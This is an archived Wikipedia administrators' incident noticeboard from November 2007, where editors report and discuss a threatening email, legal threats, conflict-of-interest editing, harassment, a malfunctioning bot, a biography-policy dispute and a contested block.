I somehow had the feeling this guy would send me an e-mail, and look what I just received in through the hopper:

If you keep on putting down slanderous lies and defamations about me on Wikipedia, you are going to find yourself rather quickly in a situation that you won't be able to handle, NASA boy. You seem smart - so figure out what the punishment is for libel and defamation of character - and exactly how much it will cost you. I'm not personally attacking you on every page, so you best keep your mouth closed and concentrate on something positive.

Keep on pushing me and see what happens. You think I don't know a few people in government, NASA boy? Keep it up and see how far down the rabbit hole really goes.

You've been warned.

This was sent by Rarelibra (<email redacted>) through Wikipedia e-mail at 11/01/2007 10:43 PM. While I almost spit a mouthful of water at my monitor laughing at this banter, I thought this should be reported. If an Admin needs me to forward the header, IP, and text, please tell me where to send. If this isn't a legal threat involving Wikipedia, I don't what is. I'd love to see this guy actually go to a lawyer and tell him that this dude with the nickname X on Wikipedia told the editor with the nickname Y that "Rarelibra" said something bad about him, etc., etc. That is almost worth paying money to watch. This should go in the hall of shame. :-) Icsunonove 07:00, 2 November 2007 (UTC)

Is there some way of confirming Rarelibra sent this email? Anyone? Neil ☎ 10:11, 2 November 2007 (UTC)

Not in a non-adminly way; but if you change your email, it sends you a confirmation, and will not let you send mail until you do. So the person in question, even if they were pranking him, *does* need to have access to that email account (whether it's really rarelibra is to be determined. BTW, if I understand correctly, the IP information will just be Wikipedia's mailserv, and won't actually help (the return path on mail I've received from two users in the past few days is wiki@wikimedia.org. I don't know what timestamps are available to admins, but I bet confirmation of this needs to go through the Foundation. --Thespian 10:27, 2 November 2007 (UTC)

On further thought, on the off chance that the email wasn't from Rarelibra, but was somehow his email, I redacted the address, just in case. As I can't oversight, it will still be in the history if people need to look it up. --Thespian 10:55, 2 November 2007 (UTC)

Who knows, maybe this time he will actually just admit to it? Kinda doubt it though. Last time he made the excuse to John that his comments about bringing in matters of law obviously just meant Wikipedia Admins. Maybe that is what he means by "Government" this time? :-) Anyway, tell me what I can do to help verify. regards, Icsunonove 15:01, 2 November 2007 (UTC)

I have also received an abusive e-mail from an account which claims to be Rarelibra; I will forward it to any admin who requests it, and it can be compared to Icsunonove's. I am not in conflict with Icsunonove, whom I would count as one of the few editors on this subject who have hitherto been consistently civil; I say this although I do disagree with him. (My position on the substantive matter is actually closer to Rarelibra's, although I cannot concur with his reasons.) Certainly I would rather discuss the merits of the Italianizing position with Icsunonove than with some of its other advocates. Septentrionalis PMAnderson 19:24, 2 November 2007 (UTC)

I was just about to say that I agree with you maybe 50% of the time or less :), but at least I feel like I'm getting a rational, thoughtful and open-minded debate. Simply put, it makes me respect Sep as an editor. I completely admit I get overly emotional sometimes when this same group of editors comes in swinging every other month, and I then might make cynical replies that are not completely civil; but at least I apologize here and there. The last time I made such an admission, what did I get? PhJ saying "see! he confesses, so ban him!" Nice!! A lot of these folk have never appeared to be in the least regretful saying what they say, or making threats, etc. Anyway, all we need now is to have Gryffindor show up. He'll have plenty to say how I don't work well with others, drive editors (i.e., him) crazy, etc., etc. Regardless, showing up and seeing the other two bad mouth me as an "italo-extremist" to a new contributor.. it is really getting close to that last straw. I am an native English-speaking American! o_O Anyway, Sep, we can definitely discuss the topic some more on your talk page sometime. I need a bit of a break. later, Icsunonove 22:21, 2 November 2007 (UTC)

Yes, could you forward me the mail please? "fut" "dot" "perf" "at" "freenet" "dot" "de" . Fut.Perf. ☼ 20:29, 2 November 2007 (UTC)

Icsunonove vs. opponents

I can understand Rarelibra, even if he has really sent that e-mail (though such an e-mail couldn't be tolerated, but it has to be seen in the context). Rarelibra is definitely not the only one who is in trouble with Icsunonove (old username: Taalo), who seems to have a fine feeling for offending other users everywhere on Wikipedia to such an extent that he cannot be punished, but he still reaches his aim effectively hurting the others. It is a matter of fact that Icsunonove extensively writes off-topic comments obviously insulting other users. No wonder they get angry at him. -- PhJ 13:00, 2 November 2007 (UTC)

PhJ, et al. vs. opponents

PhJ, given that you, Rarelibra, and Gryffindor are the three who in particular keep coming back to lambaste/insult us, and disrupt these pages in general, I'd say you would of wanted to at least attempt to stay neutral. If you want to come and attack me, we can just as easily start digging up contributions that you have made in the past. I.e., we can repeat verbatim what you have said above about you three. In the end, it doesn't surprise me that you jump on the bandwagon here. Both you and Rarelibra have often found it necessary to go around and delete other editor's comments on talk pages. Both you guys placed POV tags repeatedly on the Province of Bolzano-Bozen page without giving a clear reason, and even against the advice of Admins such as Lar. Want some sort of revenge now? Go someplace else if that is what you need in life... I'd bet you'd love to get me banned, but this post to ANI was not an indictment on my editing history on Wikipedia. It was about legal threats made on Wikipedia. Also, it was initiated by new fighting instigated by you and Rarelibra with those initial posts you guys made on Francesco's talk page and the articles talk page. Icsunonove 14:57, 2 November 2007 (UTC)

So, where do we go from here?

Okay, so what's going to happen now? I think it has become clear that it is not safe to let Icsunonove and Rarelibra edit together in that area. I take it Rarelibra accepts to stay away from South Tyrol articles. In my view, Icsunonove needs to stay away too. Look at his contributions from 1 November; almost every single one of them contained a personal attack, a long line of taunting and innuendo, on a very personal level, and directed not only against Rarelibra but others too. There is just too much bad blood between these groups of contributors, the situation is so inflamed we need people to get out of it, in their own interest. Just stop editing the same articles and stop talking about each other.

I therefore renew my proposal: topic ban for both Rarelibra and Icsunonove. Can we get this done here on the community level, or do we need to go through Arbcom? Comments from other uninvolved admins would be welcome. Fut.Perf. ☼ 09:40, 3 November 2007 (UTC)

Rarelibra talk page

Wow, and when I was getting that feeling to just forget about this guy, thinking he might just be having a difficult time at the moment in real life, check out what he has put at the top of his talk page. We've gone from Italo-centric and Italo-extremist, to Italo-fascists! Talking with a certain editor over e-mail really seems to have gotten to this editor... wow! I guess someone can put anything they want on their talk page, but jeez, even racial slurs? It is funny we are all Italo-fascists, considering I am an American, Andreas and AldeBaer are Germans, we have various people from the UK who have said they have no Italian roots what-so-ever, and Sep is from somewhere in our Solar System, we think. The Italians who have been on here are Supparluca, Checco and Pcassetti, to name the most active recently, and these I've found to be genuinely good-hearted people. Fascists!?! Icsunonove 22:44, 2 November 2007 (UTC)

No amount of apology I offer - wholeheartedly - will most likely suffice in the light of the past few days. All I can say is, if it is a topic ban - I will fully accept this. Trust me, from hear on out - I will say this in full earnest - if anyone catches me on any of the controversial topics making trouble, ban me until Jesus comes back. As adults, we should be able to sort this out with civility. So I offer up a full apology to Pmanderson (whom I respect fully and sometimes bump elbows with), and I offer up a full apology to Icsunonove - who I ask of this, let us share the olive branch, go our separate ways, and contribute to wiki with positive and constructive vibes. I offer up no insults - it only fans the fire. I ask of you only the same. I was angered, yes. Because here I was all this time contributing to the growth and improvement of various articles in Pakistan, Japan, Romania, the list goes on and on... (working on Vietnam currently) and along comes an editor with what I saw as a perfect solution that would enable a regional article and a provincial article (as exists in many countries). I simply do not like the blog-like off-topic insulting type of banter, and it got to me at a time when, in my personal life, I am at a stress factor of 10 from various school, military, work, and home pressures - all of which culminate next year when I get the degree and retire from the service. I am humble in my approach - and hope you all see this.

I only wish to make maps and continue relying on wiki for accurate information in my quest throughout the various administrative levels of various countries. So once again, please accept my wholehearted apologies, one and all. Rarelibra 23:13, 2 November 2007 (UTC)

• Acknowledged with thanks. (This is the first I've seen this; you may want to write Icsunonove's talk page.) Septentrionalis PMAnderson 15:41, 3 November 2007 (UTC)

Admin advice needed for ? tagging vandalism

On the articles The Hamsters and Andy Billups anon IPs 86.151.171.40, 86.157.255.254, 84.45.220.163, 81.132.100.115 have been doing a repeated 'leap frog' bad faith and retaliatory {{notability}} tagging as a result of my involvement in the Drake Circus Shopping Centre article. I was also instrumental in getting Yiwentang blocked. He is actually at least 2 of the above IPs. As the Plymouth Uni Student's Union is seemingly involved as a source of vandals in this debacle the disruption seems to be escalating. I've requested page protection on the above 2 articles (though not on my userpage which has also been vandalised by these editors), but my problem is that I'm now coming up to 3RR with reverting their edits. What I need to know is if reverting these bad faith taggings is akin to reverting vandalism? I don't want to fall afoul of policy in my attempts to protect these articles (both of which easily meet WP:MUSIC). ---- WebHamster 21:56, 1 November 2007 (UTC)

Obvious bad-faith tagging *is* vandalism. 3RR does not apply. -Jéské ^{(Blah v^_^v)} 22:02, 1 November 2007 (UTC)

Thanks. More news in, now the legal threats begin. 86.157.255.254 just left a message on my user talk page making legal threats for the off-wiki website I maintain. Diff here. This IP I believe is blocked user Yiwentang ---- WebHamster 22:06, 1 November 2007 (UTC)

Blocked for a fortnight. -Jéské ^{(Blah v^_^v)} 22:13, 1 November 2007 (UTC)

(edit conflict)Add to that the threats made to Hoary on his talk page by 86.151.171.40. Diff here. ---- WebHamster 22:16, 1 November 2007 (UTC)

I'll check Hoary; I just extended Yiwen's block to 366 days. -Jéské ^{(Blah v^_^v)} 22:18, 1 November 2007 (UTC)

Blocked IP 2 for two weeks as well for the threat and what appears to be collusion to make threats, given his post there. -Jéské ^{(Blah v^_^v)} 22:21, 1 November 2007 (UTC)

Very many thanks. I can now get on with stuff that actually needs doing :) ---- WebHamster 22:25, 1 November 2007 (UTC)

I've filed a checkuser after The Hamsters was tagged again, on the rationale that a website used as a source is defamatory to Simon Cowell and that the Wikipedia article is a direct copy of said website. -Jéské ^{(Blah v^_^v)} 23:16, 1 November 2007 (UTC)

Could we get some more eyes on The Hamsters? -Jéské ^{(Blah v^_^v)} 23:37, 1 November 2007 (UTC)

Is there a problem with The Hamsters article? I should also note that The Hamsters website does not contain any defamation. Please be aware that there's a distinct legal difference between "defamation" and "common abuse and "parody". The latter two are quite legal, the former is unlawful. Likewise there ar no copyright violations on the external website, making cover versions of other people's material is quite legal and is standard in the music industry. Likewise I've gone to great pains to make sure that there is no crossover of material from the website to the article. I've made it quite clear on my User page of my interests related to the band. Similarly I'm also aware of WP:COI and make great efforts to make sure I don't contravene it. The article has already been subject to a WP:3PO after which I adjusted parts of the article accordingly. If there's anything else you would like me to address then please feel free to ask/suggest. ---- WebHamster 23:56, 1 November 2007 (UTC)

There is; one of the tags was an ad hominem attack against you for hosting a pic of Simon Cowell getting peed on. -Jéské ^{(Blah v^_^v)} 23:58, 1 November 2007 (UTC)

I'm not hosting anything. The website in question is an official website. I'm webmaster and put on the site whatever the band ask for therefore it's not me that's responsible. Likewise the website is not itself an attack website. The band are notorious for making humorous comments and points. The images in question have been on the website for nigh on 10 years. In that time there has not been a single complaint either officially or unofficially. It is not in my power to remove it. It's there due to the band's wishes. I suggest you look at the site as a whole rather than making a decision on one very small part. Please also remember that external sites do not have to conform to WP's article or User standards. They only have to comply with WP:EL. The site in question does not breach copyright, neither is it a blog, nor does it breech any of the conditions of WP:EL. ---- WebHamster 00:05, 2 November 2007 (UTC)

I've been removing the speedy tags for that reason. -Jéské ^{(Blah v^_^v)} 18:58, 2 November 2007 (UTC)

Review

A few minutes ago, I blocked 86.140.179.222 for trolling on my talkpage, Andy Billups (thru notability tags), etc. and for using Wikipedia as a vehicle to harass and bring disputes against WebHamster. Since I can be considered involved now, I would like other admins to weigh in on it. -Jéské ^{(Blah v^_^v)} 02:35, 2 November 2007 (UTC)

Fellowship of Friends

I blocked the IP address range belonging to the Fellowship of Friends headquarters because this address range was being used almost exclusively to edit Fellowship of Friends. I believed this to be a violation of WP:COI. A member of the Fellowship of Friends apparently contacted an WP:ARBCOM member and had the block lifted. That's fine, it wouldn't be the first time I've made a mistake here on the Wikipedia and I lifted the protection on the page as that was placed for COI reasons as well. Anyway, I'd appreciate some eyes on that article to insure the edits over the next little while remain neutral now that the Fellowship of Friends headquarters is once again able to edit the article. Thanks! --Yamla 22:31, 1 November 2007 (UTC)

• Wow, in places the conflict of interest is almost not glaringly obvious. They should stick to the Talk page, the article reads like an advert for much of its length. Guy (Help!) 23:01, 1 November 2007 (UTC)

Thanks to JzG for taking a look at this. The edit history of Fellowship of Friends appears to show some extreme examples of COI editing. If there was any admin attention to spare, and if there was a willingness to enforce abstention from editing by COI editors, there is lots that could be done. I note that the item for Fellowship of Friends has been open for some time over at Wikipedia:Conflict of interest/Noticeboard#Fellowship of Friends IP block due to COI and I'm not aware that any admins besides Yamla have participated. To get a flavor of the partisan edits, just perusing some of the responses to the COI report will give you an idea of the unusual logic involved. Critical information published by former members of the FOF group has been kept out of the article. I'd be happy to have neutral editors weigh the case for whether the critical info should be included, which is what would happen if the FOF members were restricted to the Talk page. EdJohnston 00:04, 2 November 2007 (UTC)

I agree, it needs a complete rewrite. I have stubbed it and left a note on the talk page. Guy (Help!) 00:19, 2 November 2007 (UTC)

it was also discussed here, but that got archived oddly quickly. But it has more of the same. --Thespian 11:32, 2 November 2007 (UTC)

Someone reverted the stub-ification of the article. I have no idea if the person who reverted it has any conflict-of-interest but would assume this is not the case. --Yamla 19:01, 2 November 2007 (UTC)

User: JuJube

Resolved

 – Disruption over. —Wknight94 (talk) 01:33, 2 November 2007 (UTC)

I'd like to file a compliant against this user. I sent a reply to the wrong person who was Jujube. I thought JuJube was the person's main account but I was wrong . I was responding to an insult and was trying discretely and restrained, telling him basically I didn't appreciate being insulted and disappointed by having to be more careful in this community because of people like him. Jujube first response was a rude "who the hell are you?" When I told him I got the wrong person but at the same time didn't appreciate his rudeness, he responded with an even ruder "sorry you didn't reach Candyland. you probably shouldn't be surprised when people react harshly to being insulted." I had already told him I got the wrong person and his response was that since I got the wrong person, he reserves the right to be rude to me.

Just looked at the first couple history pages on his talk page and this is a repeated problem and I am not the only one who had a bad experience with him/her: http://en.wikipedia.org/w/index.php?title=User_talk:JuJube&diff=167997856&oldid=167997681 This person has a history of being rude to people. There are civil and polite ways to work out differences and mistakes that happen, which Jujube doesn't follow. —Preceding unsigned comment added by Hardlyreared (talk • contribs) 01:10, 2 November 2007 (UTC)

Just to note, this user's only edits are to my talk page and to his own, and he has yet to leave a message to the "person" he actually wanted to message. I thought this person made an account just to troll me, and this report makes me more convinced of that. JuJube 01:17, 2 November 2007 (UTC)

This comment makes me more convinced. "Candyland is insulting to me because I'm diabetic"? JuJube 01:19, 2 November 2007 (UTC)

I've had a quick look - looks like a sock of another user JuJube has "offended" in the past. I'm assuming bad faith here. juJube has done nothing wrong from what i can see. Chase me ladies, I'm the Cavalry 01:20, 2 November 2007 (UTC)

Its kinda funny you say that. I got misdirected from the original person I meant to respond to because I got upset and then even more upset by your responses. If you see my most resent post on your page you will see why you touched a nerve with me. Of course you have no way of knowing given you don't know me but if you did, what you said would have been even more insulting. What the original person said was your typical garden variety homophobic insult. What you said unknowingly touched closer to home. Hardlyreared 01:22, 2 November 2007 (UTC)

So why haven't you left that person a message? This report's a waste of time for all involved. JuJube 01:26, 2 November 2007 (UTC)

Yes, another message about or to JuJube and the Hardlyreared account will be indefinitely blocked. —Wknight94 (talk) 01:32, 2 November 2007 (UTC)

User:Hardlyreared indef blocked by TigerShark for "obvious attempts at harassing". (I was going to suggest this myself based on the number and size of holes in the original story.) Sheffield Steel^talk_stalk 15:54, 2 November 2007 (UTC)

Malfunctioning Bot

Resolved

 – Temporarily blocked. TigerShark 01:53, 2 November 2007 (UTC)

I have no idea where to report this kind of thing, but I think the WP 1.0 bot is malfunctioning, as it has made over 50 edits to this page within a five minute span, alternatively adding logs for November 1 and October 31. -- Scorpion⁰⁴²² 01:29, 2 November 2007 (UTC)

I have watched it for a bit and it definitely seems to be malfunctioning, apparently getting itself confused with the date order of edits. It is probably not doing damage that cannot be reversed, but I have erred on the side of caution and blocked it until the operator can have a look. TigerShark 01:53, 2 November 2007 (UTC)

The reason for the confusion is because two versions of the bot were running in parallel. I killed one of them, and will now unblock the bot (I'll keep an eye on it for a while to see how it is doing). I'll make sure this issue won't show up again. Oleg Alexandrov (talk) 02:52, 2 November 2007 (UTC)

That might have happened because someone ran the bot early and something weird happened. I don't think it's supposed officailly to run till tomorrow. Still, running it early is supposed to be alright. Wonder what happened--Phoenix-wiki (talk · contribs) 23:20, 2 November 2007 (UTC)

One bot instance was started automatically, the second one by me. I did not think they would interfere, I was wrong. I'll take more care from now on. Oleg Alexandrov (talk) 04:04, 3 November 2007 (UTC)

User:Violetriga and List of occultists

User:Violetriga has been unilaterally deleting List of occultists and replacing it with a redirect. Her stated concern with biographies of living persons is slightly eccentric, especially given that the list goes back to classical mythology. She has also removed one vandalism warning I sent from her user page; see also her remarks on Talk:List of occultists. User is an admin. - Smerdis of Tlön 03:42, 2 November 2007 (UTC)

Are there actually living people on that list? If so, her concerns are valid. -Jéské ^{(Blah v^_^v)} 04:09, 2 November 2007 (UTC)

There are some, or were some; I have not yet reverted her latest unilateral deletion of the entire page. But the majority of the contents were from figures categorized historically from mythological figures through the twentieth century. Most of the twentieth century figures were people who had published books in relevant fields, and can be confirmed through their own articles. The point being that even if there are concerns about individual entries involving living people, it would be relatively trivial to edit those out and leave the rest of the page intact. The page was organized chronologically by period. - Smerdis of Tlön 04:18, 2 November 2007 (UTC)

(ec) Yep, there were living people on the list. Yes, their inclusions weren't sourced. Yes, this is completely unacceptable per WP:BLP, so her actions are reasonable. In the first test case I picked, the word "occult" doesn't appear in the subject's article. And she wasn't actually deleting, just redirecting with history intact. So her actions were reasonable. I see that the page is already protected by another admin, fortunately at a BLP compliant version. Further discussion can take place at the list's talk page. GRBerry 04:21, 2 November 2007 (UTC)

Is it just me, or are there a ton of babies in that bathwater? BLP doesn't mean blank/delete entire articles when BLP only applies to a part of the article. -- Ned Scott 05:26, 2 November 2007 (UTC)

Quite right, of course, and that precise thinking, as GRBerry notes, now appears to have prevailed. Whether Violet's redirection, as against a removal simply of the parts of the article that were prospectively BLP-problematic, was reasonable is, of course, an entirely separate question, and one on the disposition of which I rather imagine I differ with GR [of all the admins whom ever I thought I might accuse of (rather minor) overreaching in the name of BLP, Violet, I must say, was surely not one :)], but I don't know that it's one that we need to bother addressing at present, since the issue is, at least in significant part, resolved. Joe 06:09, 2 November 2007 (UTC)

Can we look at the other side of things now? The actions of Ihcoyc (talk · contribs · blocks · protections · deletions · page moves · rights · RfA) were rather inappropriate:

1. Using admin rollback to undo an edit which clearly cited BLP as a reason for content removal [75]
2. Templating me with a vandalism warning [76]
3. Calling me a vandal on the talk page [77] and later listing me at the vandalism noticeboard [78]
4. Threatening me to not do it again or face an RFC [79]

Not a very good way to handle things. violet/riga (t) 10:03, 2 November 2007 (UTC)

Inappropriate deletion of material is well-recognized enough as vandalism to be the subject of specific templates. It's what they're for. You continued to delete the entire body of the text, including those parts that obviously related to people that were no longer alive, and did not even bother to reply to my comment on the article's talk page after I reverted you the first time. I don't think I acted inappropriately. - Smerdis of Tlön 11:39, 2 November 2007 (UTC)

Smerdis, this is utter bullshit. Vandalism is a term we reserve for actions that can only possibly be interpreted as bad faith and without reason. Established users almost never do that. So we never call established users vandals. Period. If you genuinely don't understand why an established user has done something, you ask them. Templating established users is moronic in the extreme. It never helps. (BTW Brilliant to see violetriga on the side of the BLP angels - keep up the good work.)--Doc^g 11:54, 2 November 2007 (UTC)

Our policy on vandalism makes no exceptions for "established users." That said, it may have been overreaction. Still, responding on the talk page intelligibly after my first reversion (and first comment about it there) might have prevented this whole ruckus. - Smerdis of Tlön 18:56, 2 November 2007 (UTC)

I have 7500+ articles on my watchlist - sometimes I miss things, especially when something is added to a talk page a long time after the initial edit. If you had contacted me directly it would have been much better. violet/riga (t) 21:49, 2 November 2007 (UTC)

• I don't think anybody would accuse me of being one of Violetriga's fans, but in this instance I'd say that what Violet did was 100% correct per the letter and the spirit of policy, and the reversion was unacceptable for that reason, as well as unacceptably rude. This may, of course, have been an honest mistake, if so an apology is surely in order. Guy (Help!) 17:30, 2 November 2007 (UTC)
  • Her latest and most restrained revision removed all of the twentieth century occultists, including Aleister Crowley, who has been dead for sixty years, and a list of "alleged occultists" which runs from King Solomon to Doctor Faustus. Where in the letter and spirit of policy is this justified? Septentrionalis PMAnderson 20:17, 2 November 2007 (UTC)

• • • Certainly part of the spirit is "when in doubt, take it out". (The restrictions on deletion, as oppposed to editing, are more stringent.) With a reasonably long list for the 20th century, none of it sourced, "when in doubt, take it out" argues for taking everything out first, then readd specific ones as they are sourced. I note that not only the 20th century ones need sourcing; so do the ancient ones - but since it is safe to say that those from the 19th century and earlier are now dead (reincarnation theories not withstandind), fixing them isn't an urgent WP:BLP issue. GRBerry 01:16, 3 November 2007 (UTC)

User:Zorglbot DST issue

User:Zorglbot is not keeping correct daylight saving time. Please review the Revision history of Templates for deletion and you'll see it's run time changed by one hour this week. I reported the issue to the bot owner User:Schutz with suggested resolutions. I reported the issue on the Templates for deletion talk page. – Conrad T. Pino 07:00, 2 November 2007 (UTC)

Does it matter? --Carnildo 08:30, 2 November 2007 (UTC)

I believe the problem is not that the bot isn't keeping daylight savings time, but that you are. Wikipedia servers do not recognice daylight saving time. Someguy1221 09:02, 2 November 2007 (UTC)

Well, no, it's that Zorglbot used to edit at 00:00, but now edits at 01:00. But, per Carnildo, it's really not a huge deal -- it's mostly just archiving. Creating the new pages an hour late might makes things a little disorganized until it's fixed, but again, it's not a huge deal. -- RG² 09:40, 2 November 2007 (UTC)

Not every country in the world is still on DST. UTC, for example, no longer is. Corvus cornix 21:45, 2 November 2007 (UTC)

Revert-only accounts

I (Nanshu) face slow but prolonged edit wars. I've came to think that we need admin intervention.

The articles concerned are Dongyi (talk), Wei Man (talk) and Jizi (talk). The users involved are:

• Ocleta (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Kuebie (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Korea history (talk · contribs · deleted contribs · logs · filter log · block user · block log)

Apparently these users are unhappy about my edits. But we are unable to find a compromise because they only revert to their favorite revisions. They don't join the discussions on the corresponding talk pages. (One exception was Korea history. He joined the discussion only once[80] after I warned him/her at his/her user talk page [81]. But he/she reverted again without leaving a comment[82].)

Among them, Ocleta edits no page other than the above-mentioned three articles. All but one edits by him/her are simple reverts and deletions. I suspect the sole purpose of this revert-only account is to track my edits. Similarly, almost all edits by Kuebie are reverts.

The edit wars continue at really long intervals (more than a week), but it's just because I'm not so active these days. Of course I don't like fruitless edit wars, but I have to revert at least Dongyi, otherwise my fair-use image will be deleted by a hardworking bot. I think it's time to ask admin for help in revolving the current deadlock. Thanks in advance. --Nanshu 13:56, 2 November 2007 (UTC)

I am sorry you're frustrated, but admins do not intervene to resolve content disputes. If this is a case of simple vandalism or disruptive edit warring, you haven't made that clear. You may wish to look through the procedures for dispute resolution and decide what avenue will best help end the conflict. Shell ^babelfish 15:15, 2 November 2007 (UTC)

Sorry if my point wasn't clear. I don't complain about content disputes here. My point is that the above-mentioned users seemingly have no intention to build a consensus through dialogue. They try to achieve their goals by mass reverts. So I have no way of resolving the conflicts other than seeking admin helps. To confirm my analysis, I mentioned their user contributions. Almost all edits by Ocleta and Kuebie are reverts (and they had never edited in the talk namespace). Doesn't it suffice to say they are disruptive editors?

I admit edit wars go very slowly but they last several months. They would be unusual because admins have tackled intense revert wars. But still, I think they violate the spirit of the 3RR. --Nanshu 00:04, 3 November 2007 (UTC)

At least Ocleta does appear to be a single-purpose account. — Carl (CBM · talk) 00:11, 3 November 2007 (UTC)

Disruption of Wikipedia:Wikiquette alerts by Rlevse

User:Rlevse is an administrator who has come barging into Wikipedia:Wikiquette alerts like a bull run amok in a china shop, entirely disrupting the process there. This is not a process in which Rlevse has ever before participated in its entire 2½ year history. Clearly he has no expertise in how it is supposed to work.

It is hard to imagine anything

1. more likely to sabotage what is intended to be an informal first step in a dispute resolution process
2. more likely to exacerbate this dispute
3. more likely to fan the flames and to create more hard feelings, and
4. more counterproductive to the spirit of cooperative editing
   

than what User:Rlevse did here.

Especially when

1. There is absolutely nothing at WQA instructing me to offer a response.
2. What is there, in fact, actively discourages such discussion, by saying "Avoid an extensive discussion of the problem or issue on this page" and "Do not continue your discussion in detail here".
3. The discussion, including any response from me, actually belongs where the issue arose (in this case, Talk:Kilogram), and User:Rlevse never even looked there.

Rlevse's actions, (and perhaps equally important or more so, the actions he failed to take) fly directly in the face of the spirit of this entire process.

But Rlevse's are not merely contrary to the spirit of this entire process. It is much more than that.

In fact, they are contrary to very black-letter rules of this process, as set out in a big honking box at the top of that page:

"This page is an early step in the Wikipedia Dispute Resolution Process. It is a non-binding noticeboard where users can report impolite, uncivil or other difficult communications with editors, to seek perspective, advice, informal mediation, or a referral to a more appropriate forum.

...

"Wikiquette Alerts depends on the help of interested editors to provide neutral viewpoints. Everyone is invited to participate in responding to alerts."

a "non-binding noticeboard"; and in the opening paragraph:

"Wikiquette alerts are an informal streamlined way to request perspective and help with difficult communications with other editors. This page is not part of the formal dispute resolution process, so it can be a good place to start if you are not sure where else to go. It is hoped that assistance from uninvolved editors can help to resolve conflicts before they escalate."

and further down the page:

"Responding to alerts is also a good way to learn more about Wikipedia policies and even more, about how to work with other users to calm situations without resorting to formal procedures."

and you can't get much clearer than without resorting to formal procedures. In other words, that would be inappropriate at this stage even if their had been any relevant discussion, unless based on new developments during that discussion.

At the very least, formal procedures require reference to some other dispute resolution process, and action in accordance with the rules governing that other process. Not actions contrary to the rules of this process.

If my participation on this page were important, and there is no evidence whatsoever that Rlevse know anything whatsoever about how this is supposed to work, then he should have invited me to come here and comment on it. An out-of-the-blue, totally undiscussed block, for not doing something which I am not in any way obliged to do, is not by any stretch of the imagination an appropriate response. To instead prevent any comment from me is about the most illogical, irresponsible action anyone could possibly imagine.

The ball had already been picked up at Wikipedia:Wikiquette alerts by one of the regulars here Bfigura, who had already said that he was going to look into it. Rlevse's actions totally disrupted that, and stepped on territory that had already been claimed, and that was supposedly in the process of being worked out.

I am at a total loss as to why Rlevse might have done this. The only possible explanation that offers itself to me is that it was deliberately designed to give User:Greg L an upper hand in that WQA dispute. Why, I couldn't even guess.

That this process's integrity was in fact the primary target of User:Rlevse's attack is also evident from his posting of his notice about blocking me there[83] (still his only participation there, ever) seven minutes before he even posted a notice to me about it on my talk page,[84] as well as from the fact that he had not done the same at Wikipedia talk:Call a spade a spade, nor had he done so at User talk:ArielGold. It is further evidenced by his placement of your notice on my talk page under the existing User talk:Gene Nygaard#Wikiquette alert header halfway up my page, not in a new notice at the bottom (and he didn't add the subheader, I did that later). There's no disguising of the fact that the additional charges laid were intended as nothing other than a strategem or ploy, likely intended to create an appearance of fairness in an unwarranted 72-hour long block.

The other undiscussed, unproved issues thrown in by Rlevse were, based on all the evidence, clearly a red herring. The fact that a couple of hounds were diverted and chased after the false scent[85][86] merely shows that such ploys sometimes works. If anyone wants to discuss the side issues separately, that's fine--but they don't belong in this discussion.

Worst of all, Rlevse is a rude, inconsiderate person who never once discussed any of this with me--not before blocking me, not after blocking me, not at any time. But that, too, is a side issue here. Gene Nygaard 14:46, 2 November 2007 (UTC)

By calling Rlevse rude and inconsiderate you are continuing the incivility that has led to several blocks on your account. I also believe you are misreading one statement that Rlevse made and attempting to use that to lawyer your way out of a completely appropriate block. Your unblock request was denied more than once.

It should be clear to you that personal attacks and incivility are not acceptable behaviors while editing Wikipedia. Stop it and you won't get blocked. Shell ^babelfish 15:13, 2 November 2007 (UTC)

After having a look at the situtation, I fully endorse Rlevse's block. пﮟოьεԻ 57 15:17, 2 November 2007 (UTC)

The block was entirely justified, but ideally would have been longer. Tim Vickers 16:53, 2 November 2007 (UTC)

• I think the tone of this report and the prior block log indicate that Gene Nygaard has completely failed to learn anything from his past travails. His response to being blocked for being rude and aggressive was to come here and be rude and aggressive. Sorry, not good enough. He can have another week off. Guy (Help!) 17:16, 2 November 2007 (UTC)

  A week long block for the post above? That seems excessive to me. Haukur 17:29, 2 November 2007 (UTC)

Have a look at his block log, this is a long-term problem. Tim Vickers 17:53, 2 November 2007 (UTC)

I realize he's grumpy (I've been fighting with him for years) - I just don't see a justification in our blocking policy for a week long block at this point. Being apparently in the minority here I won't unblock, though. Haukur 18:09, 2 November 2007 (UTC)

As a side point and please correct me if I'm wrong, the description of Wikipedia:Wikiquette alerts as "non-binding" means that any agreements made on that page are voluntary on the part of all concerned. It does not mean that participants are given any kind of "immunity" from repercussions for their conduct. Sheffield Steel^talk_stalk 19:39, 2 November 2007 (UTC)

For those considering if this block is justified, may I offer the following:

These are all edits asking Gene to be more civil. Almost all just from the last month(!)

To Gene:

• "your needless confrontative comment was quite unneccessary"
• I do not want to continue this discussion as it is clear you want to attack me personally, and I have no interest in that
• I'm afraid you have depleted my patience towards your conflicts, accusations and, above all, your unmannerly language
• Hint: Wikipedia is a cooperative effort, and your language has a flavor of ordering me to change it to make you happy.
• I sincerely hope that your interactions with other editors are more civil. If you're going to go around biting people, damn well make sure you're doing it for the right reasons.
• First off, I suggest you back off for a second and watch your tone
• "I'm going to be honest and say that to come here, dump a huge table like this with criticism of someone whose background you are unfamiliar with, is not only a bit harsh, but is not likely to be reacted to well. I see you've done the similar thing to other editors, using comments like "If you don't know how to use the precision parameter, don't do it. Leave it to someone smarter than you are." And your comment here to me: "someone else is most likely a whole lot more competent at making them than you are. ", which is false, I have to say, I find that kind of comment unhelpful, bordering on rude. While I'm doing my very best to not react to your comments negatively, I'm going to just say that I would have appreciated a helpful note that explained your concerns nicely, and offering assistance, rather than filling my talk page with a table like this."
• "Please Gene, try talking with people without attacking them and without constantly using a snide tone. That would avoid a lot of trouble."
• "Calling people an ass, or dumb, is certainly "inconsistent with a civil, collegial atmosphere", and thus blockable."
• Please do not assume bad faith. I note that your theory about my supposed hidden motives is directly contradicted by (8b), and decline to argue further about what I want or do not want
• No it isn't. That's an absurd and uncivil claim. The fact that someone uses a non-English letter and doesn't know about sort keys is hardly conclusive evidence that they have "no respect for the English language". That's a ridiculous and unhelpful conclusion to jump to.

These from a little further back may also be of interest - from AN/I reports and RFC/U

• "Gene Nygaard is frequently uncivil, and engages in edit wars to impose his own personal style preference on scientific articles."
• "The only relevant question here is, are the actions of this editor disrupting the encyclopedia, and if so, what should be done about it? The answers seem clear to me, they are disruptive, and if he will not agree to stop doing them until consensus is clear, and then agree to abide by consensus whether he agrees or not (these are our norms, after all), he should be blocked." (Lar)
